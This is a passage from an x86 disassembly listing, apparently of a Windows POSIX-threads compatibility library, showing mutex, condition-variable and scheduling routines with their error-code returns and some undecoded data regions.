edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 2740638h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 nop call near ptr 27405E8h cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h call near ptr 2700000h nop test eax, eax jnz short loc_433ED5 nop call near ptr 27C0828h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 27405E8h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h call near ptr 2700000h nop test eax, eax jnz short loc_433F65 nop call near ptr 27C0828h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 nop call near ptr 283030Ah xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2740000h test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax call near ptr 28309C5h nop test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax call near ptr 2770366h nop cmp eax, 102h jnz short loc_434125 mov esi, 0Bh call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax call near ptr 2730D68h nop test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax call near ptr 2730D68h nop test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax call near ptr 2770366h nop cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx call near ptr 2730D68h nop mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 call near ptr 77C2C21Bh nop add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510960 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510960 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0C130E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j nop call near ptr 273069Eh cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; 